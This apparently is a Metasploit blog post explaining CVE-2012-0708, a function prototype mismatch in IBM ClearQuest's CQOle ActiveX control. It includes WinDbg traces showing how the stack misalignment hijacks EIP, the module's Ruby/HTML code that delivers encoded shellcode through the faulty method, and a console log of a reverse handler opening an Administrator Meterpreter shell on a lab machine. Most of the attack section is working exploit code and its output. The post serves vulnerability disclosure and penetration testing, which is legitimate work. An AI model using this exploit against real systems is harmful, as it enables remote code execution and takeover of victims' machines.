Last updated at Wed, 27 Sep 2017 02:21:59 GMT
People often refer to exploits as your good old buffer overflows, but that's not always the case, as there are so many different types of vulnerabilities out there waiting to be found. One exploit in particular, is the IBM Rational ClearQuest -- CVE-2012-0708 -- which we've recently added to the Metasploit Framework. This module exploits a function prototype mismatch flaw in IBM's CQOle ActiveX control, discovered by Andrera Micalazzi aka rgod, and we figured the details are worth sharing.
The problem arises when you try to call the RegisterSchemaReporFromFileByDbSet from the ClearQuestOleServer.Session control (clsid 94773112-72E8-11D0-A42E-00A024DED613), and it has the following prototype:
Function RegisterSchemaRepoFromFileByDbSet (ByVal dbset As String , ByVal filePath As String) As String
Really the RegisterSchemaRepoFromFile is going to be called, where the prototype is slightly different:
Function RegisterSchemaRepoFromFile (ByVal filePath As String) As String
There is a difference between these two separate functions. Even though they both are responsible for cleaning the arguments from the stack, the rets are different:
- RegisterSchemaRepoFromFileByDbSet: retn 8
- RegisterSchemaRepoFromFile: retn 4
With this in mind, let's review what happens at the assembler level when RegisterSchemaRepoFromFileByDbSet is called (from javascript as sample):
- Because of the function prototype mismatch the similar function RegisterSchemaRepoFromFile (and not RegisterSchemaRepoFromFileByDbSet) is called:
Breakpoint 0 hit
eax=3190b1a0 ebx=00000000 ecx=06bf5cf0 edx=7835f5d2 esi=0013e200 edi=0000000c
eip=78371062 esp=0013e204 ebp=0013e2b4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
MFC80U!_AfxDispatchCall+0xe:
78371062 ffd0 call eax {cqole!OAdSession::RegisterSchemaRepoFromFile (3190b1a0)}
- But there are two arguments on the stack! The ones from RegisterSchemaRepoFromFileByDbSet!
0:000> dd /c1 esp L2
0013e204 0615b450
0013e208 0615b470
0:000> du 0615b450
0615b450 "dbset value"
0:000> du 0615b470
0615b470 "filePath value"
- The ret from RegisterSchemaRepoFromFile is hit and it is going to clean just one argument even when there are still two arguments (pointers) on the stack:
0:000> g
(d7c.b54): C++ EH exception - code e06d7363 (first chance)
Breakpoint 1 hit
eax=01dae7cc ebx=00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000c
eip=3190b5d9 esp=0013e200 ebp=0013e2b4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
cqole!OAdSession::RegisterSchemaRepoFromFile+0x439:
3190b5d9 c20400 ret 4
0:000> dd /c1 esp L3
0013e200 78371064
0013e204 0615b450
0013e208 0615b470
0:000> du 0615b450
0615b450 "dbset value"
0:000> du 0615b470
0615b470 "filePath value"
- Since the callee (RegisterSchemaRepoFromFile) has not cleaned the two arguments from the stack it is going be misaligned. Once back on MFC80U!_AfxDispatchCall its ret is reached with the stack misaligned and ESP pointing to the second argument of the intended RegisterSchemaRepoFromFileByDbSet call:
0:000> t
eax=01dae7cc ebx=00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000c
eip=78371064 esp=0013e208 ebp=0013e2b4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
MFC80U!_AfxDispatchCall+0x10:
78371064 c3 ret
0:000> dd /c1 esp L2
0013e208 0615b470
0013e20c 7835f5d2 // It is in fact the legit ret address
0:000> du 0615b470
0615b470 "filePath value"
- And there is where ret from MFC80U!_AfxDispatchCall tries to redirect EIP
0:000> t
eax=01dae7cc ebx=00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000c
eip=0615b470 esp=0013e20c ebp=0013e2b4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0615b470 66006900 add byte ptr [ecx],ch ds:0023:a265eb6f=??
0:000> db eip
0615b470 66 00 69 00 6c 00 65 00-50 00 61 00 74 00 68 00 f.i.l.e.P.a.t.h.
0615b480 20 00 76 00 61 00 6c 00-75 00 65 00 00 00 2e 00 .v.a.l.u.e.....
- The result with an string like the one before ("filePath value") is a crash when it is tried to be interpreted as code:
0:000> g
(d7c.b54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01dae7cc ebx=00000000 ecx=a265eb6f edx=00070001 esi=0013e200 edi=0000000c
eip=0615b470 esp=0013e20c ebp=0013e2b4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
0615b470 66006900 add byte ptr [ecx],ch ds:0023:a265eb6f=??
With this explanation in mind, exploitation without DEP is straightforward, just call to RegisterSchemaRepoFromFileByDbSet with an string containing the shellcode as second argument:
js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(my_target.arch))
object_id = rand_text_alpha(rand(8) + 4)
dbset_value = rand_text_alpha(rand(8) + 4)
var_payload = rand_text_alpha(rand(8) + 4)
html = <<-EOS
<html>
<body>
<object id='#{object_id}' classid='clsid:94773112-72E8-11D0-A42E-00A024DED613'></object>
<script language="JavaScript">
var #{var_payload} = unescape("#{js_code}")
#{object_id}.RegisterSchemaRepoFromFileByDbSet("#{dbset_value}", #{var_payload});
</script>
</body>
</html>
EOS
And then of course, we finish off the vulnerability with a shell:
msf exploit(clear_quest_cqole) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.157:4444
[*] Using URL: http://0.0.0.0:8080/zCEVdD
[*] Local IP: http://192.168.1.157:8080/zCEVdD
[*] Server started.
msf exploit(clear_quest_cqole) >
[*] 192.168.1.133 clear_quest_cqole - 192.168.1.133:2340 - Sending html
[*] Sending stage (752128 bytes) to 192.168.1.133
[*] Meterpreter session 3 opened (192.168.1.157:4444 -> 192.168.1.133:2341) at 2012-07-08 20:41:23 +0200
[*] Session ID 3 (192.168.1.157:4444 -> 192.168.1.133:2341) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: IEXPLORE.EXE (3380)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 4028
[+] Successfully migrated to process
msf exploit(clear_quest_cqole) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
3 meterpreter x86/win32 JUAN-C0DE875735\Administrator @ JUAN-C0DE875735 192.168.1.157:4444 -> 192.168.1.133:2341 (192.168.1.133)
msf exploit(clear_quest_cqole) > sessions -i 3
[*] Starting interaction with 3...
meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter >
Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.